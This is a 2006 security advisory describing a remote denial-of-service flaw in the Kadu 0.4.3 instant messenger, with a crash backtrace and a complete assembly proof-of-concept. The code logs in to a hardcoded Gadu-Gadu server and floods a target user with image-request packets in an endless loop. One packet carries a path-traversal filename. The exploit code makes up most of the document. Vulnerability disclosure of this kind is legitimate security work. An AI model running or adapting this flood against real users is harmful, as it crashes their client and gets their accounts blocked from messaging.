Kadu Remote Denial Of Service Fun by Piotr Bania http://www.piotrbania.com All rights reserved. Original location: http://www.piotrbania.com/all/adv/kadu-fun.txt Severity: Medium - remote denial of service. Software affected: Tested on Kadu 0.4.3, others maybe also affected. 0. DISCLAIMER Author takes no responsibility for any actions with provided informations or codes. The copyright for any material created by the author is reserved. Any duplication of codes or texts provided here in electronic or printed publications is not permitted without the author's agreement. I. BACKGROUND Kadu is a dynamically evolving instant messenger compatible with the Gadu-Gadu protocol. It can be run on all platforms supporting the Qt toolkit (except Windows) - from www.kadu.net. II. DESCRIPTION The problem takes place when Kadu receives large number of image send requests, of course the main restriction here is the fact attacker must be added to victims user list. When such scenario occurs Kadu dies within the SIGPIPE signal, here is a little back trace from GDB: gdb) bt #0 0xffffe410 in ?? () #1 0xbff3c238 in ?? () #2 0x0000001e in ?? () #3 0x0851d620 in ?? () #4 0xb7ec050b in __write_nocancel () from /lib/tls/i686/cmov/libpthread.so.0 #5 0x081a70f3 in gg_write () #6 0x081a75ed in gg_send_packet () #7 0x081a8050 in gg_image_request () #8 0x080f9e8a in GaduProtocol::sendImageRequest () #9 0x0813a27a in formatGGMessage () #10 0x080fdb43 in GaduProtocol::messageReceived () #11 0x08174267 in GaduProtocol::qt_invoke () #12 0xb79eb929 in QObject::activate_signal () from /usr/lib/libqt-mt.so.3 #13 0x081715f3 in GaduSocketNotifiers::messageReceived () #14 0x080fe257 in GaduSocketNotifiers::socketEvent () #15 0x080f918e in GaduSocketNotifiers::dataReceived () #16 0x08171b0b in GaduSocketNotifiers::qt_invoke () #17 0xb79eb929 in QObject::activate_signal () from /usr/lib/libqt-mt.so.3 #18 0xb79ec238 in QObject::activate_signal () from /usr/lib/libqt-mt.so Moreover probably due to the restrictions done in Gadu-Gadu servers, the victim number is blocked (user can't send any messages) for a long period of time. This is probably done, because everytime Kadu receives the send image requests, it responds to the attacker with image request packet. This action is probably detected by filters on Gadu-Gadu servers and the number is blocked. I would also like to add I'm really new on *nix based systems, so some of the following informations may be wrong :) III. THANKS I would like to thank Jaroslaw Biedrzycki for helping me with the linux research. IV. POC CODE // --- SNIP ------------------------------------------------------------------ ; Little Denial Of Service exploit for KADU, well it should also work ; for older Gadu-Gadu versions. ; ; (c) 2006 - Piotr Bania ; All rights reserved. ; http://www.piotrbania.com ; ; ; DISCLAIMER ; ; Author takes no responsibility for any actions with provided informations or ; codes. The copyright for any material created by the author is reserved. Any ; duplication of codes or texts provided here in electronic or printed ; publications is not permitted without the author's agreement. include my_macro.inc GG_PORT equ 8074 GG_HOST equ 217,17,41,88 GG_USER equ 111111 ; user GG_PASS equ "haslo",0 ; haslo GG_TARGET equ 222222 ; target go_exploit: call startup_gg @debug "connected",0 mov eax,offset gg_seed call gg_get_packet push gg_seed @pushsz GG_PASS call gg_login_hash mov dword ptr [gg_pass_hash],eax mov ecx,gg_login_packet_size_h mov eax,offset gg_login_packet_h call gg_send_packet call gg_get_packet mov eax,gg_type @check 9,"Error: login failed!!!!" mov ecx,gg_new_status_packet_size_h mov eax,offset gg_new_status_packet_h call gg_send_packet @debug "Connected :) Now flooding the target...",0 fuxor: mov ecx,gg_msg_packet_size_h mov eax,offset gg_msg_packet_h call gg_send_packet push 10 @callx Sleep mov ecx,gg_msg2_packet_size_h mov eax,offset gg_msg2_packet_h call gg_send_packet @callx GetTickCount ; it looks great when its pseudo randomized... mov dword ptr [gg_img_crc],eax mov dword ptr [gg_img2_crc],eax push 10 @callx Sleep jmp fuxor exit: push 0 @callx ExitProcess include debug_prot.inc include tcp.inc ; ****************************************************************************** ; DATADATADATADATADATADATADATADATADATADATADATADATADATADATADATADATADATADATADATA ; ****************************************************************************** ; packet 0x01 (r) gg_seed dd 0 ; packet gg login60 (s) gg_login_packet_h: dd 15h dd gg_login_packet_size gg_login_packet: dd GG_USER gg_pass_hash dd 0 dd 02 ; dostepny dd 20h ; gg version db 0 db 31,33,3,7 dw 66 db 31,33,3,7 dw 66 db 255 db 0beh db 0 db 0 gg_login_packet_size =$-offset gg_login_packet gg_login_packet_size_h =$-offset gg_login_packet_h gg_new_status_packet_h: dd 02h dd gg_new_status_packet_size gg_new_status_packet: dd 04h db "ZUJZUJZUJZUJZUJZUJ",0 dd 0 gg_new_status_packet_size =$-offset gg_new_status_packet gg_new_status_packet_size_h =$-offset gg_new_status_packet_h IMG_SIZE_MAN equ 44h, 04h, 00h, 00h IMG_CRC_MAN equ 69h, 9bh, 95h, 4bh gg_msg_packet_h dd 0bh dd gg_msg_packet_size gg_msg_packet: dd GG_TARGET rand_num dd 008e68c4h dd 28h db 0 db 2 dw gg_last_pack_size gg_last_pack: dw 0 ; pozycja atrybutu w tekscie db 80h ; atrybuty czcionki gg_rimage: dw 0109h gg_img_size: db IMG_SIZE_MAN gg_img_crc: db IMG_CRC_MAN gg_last_pack_size =$-offset gg_last_pack gg_msg_packet_size =$-offset gg_msg_packet gg_msg_packet_size_h =$-offset gg_msg_packet_h comment $ 44 04 00 00 - size 69 9B 95 4B - checksum 011E3B20 6E 75 5F 74 65 78 74 2E 67 69 66 00 47 49 46 38 nu_text.gif.GIF8 $ gg_msg2_packet_h dd 0bh dd gg_msg2_packet_size gg_msg2_packet: dd GG_TARGET dd 0 db 04h,00,00,00 db 00 db 05h gg_img2_size: db IMG_SIZE_MAN gg_img2_crc: db IMG_CRC_MAN db "/../../../../../../../../../../../tmp/AAAAAAAAAAAAAAAAAAAAA.gif" db ".gif",0 include gg_sniff/plik.inc db 0 gg_msg2_packet_size =$-offset gg_msg2_packet gg_msg2_packet_size_h =$-offset gg_msg2_packet_h gg_server_reply: msg_status dd 0 msg_recipient dd 0 msg_seq dd 0 dd 0 gg_img_reply: img_sender dd 0 img_seq dd 0 img_time dd 0 img_class dd 0 img_flag db 0 img_size dd 0 img_crc dd 0 ; ****************************************************************************** ; SOME MAIN PROCEDURES ; ****************************************************************************** gg_login_hash proc pushad push ebp mov ebp,esp add ebp,PUSHA_STRUCT_SIZE push esi push edi mov edi,dword ptr [ebp+8] mov eax,dword ptr [ebp+0Ch] xor esi,esi mov cl,byte ptr [edi] test cl,cl je xl2 push ebx xl1: movsx ecx,cl and esi,0FFFFFF00h or esi,ecx mov ecx,20h mov edx,esi xor edx,eax add edx,esi shl esi,8 xor edx,esi shl esi,8 sub edx,esi shl esi,8 xor edx,esi mov eax,edx mov ebx,edx and eax,1Fh sub ecx,eax shr ebx,cl mov ecx,eax shl edx,cl mov cl,byte ptr [edi+1] or ebx,edx inc edi test cl,cl mov eax,ebx jne xl1 pop ecx xl2: pop edi pop esi pop ebp mov [esp+PUSHA_STRUCT._EAX],ebx popad ret gg_login_hash endp ; eax=what to send / ecx=size gg_send_packet proc pushad push 0 push ecx push eax push dword ptr [gg_sock] @callx send @check -1,"Error: send()" popad ret gg_send_packet endp ;eax = where to store gg_get_packet proc pushad push eax push 0 push 8 push offset gg_main_packet push dword ptr [gg_sock] @callx recv @check -1,"Error: gg_get_packet()! first recv()" pop eax cmp dword ptr [gg_len],0 jle @fakme push 0 push dword ptr [gg_len] push eax push dword ptr [gg_sock] @callx recv @check -1,"Error: gg_get_packet()! second recv()" @fakme: popad ret gg_main_packet: gg_type dd 0 gg_len dd 0 gg_get_packet endp startup_gg proc pushad push offset WSA_Data push 0101h @callx WSAStartup test eax,eax jz _xxx1 xor eax,eax @check 0,"Error: cannot setup wsa!" _xxx1: push 0 push SOCK_STREAM push AF_INET @callx socket @check -1,"Error: socket()" mov dword ptr [gg_sock],eax mov ebx,eax push GG_PORT @callx htons mov word ptr [gg_porto],ax push 16 push offset gg_addr push ebx @callx connect @check -1,"Error: cannot connect ;/" popad ret gg_sock dd 0 gg_addr: gg_proto dw AF_INET gg_porto dw 0 gg_ip db GG_HOST gg_s_zero db 8 dup (0) startup_gg endp end start // --- SNIP ------------------------------------------------------------------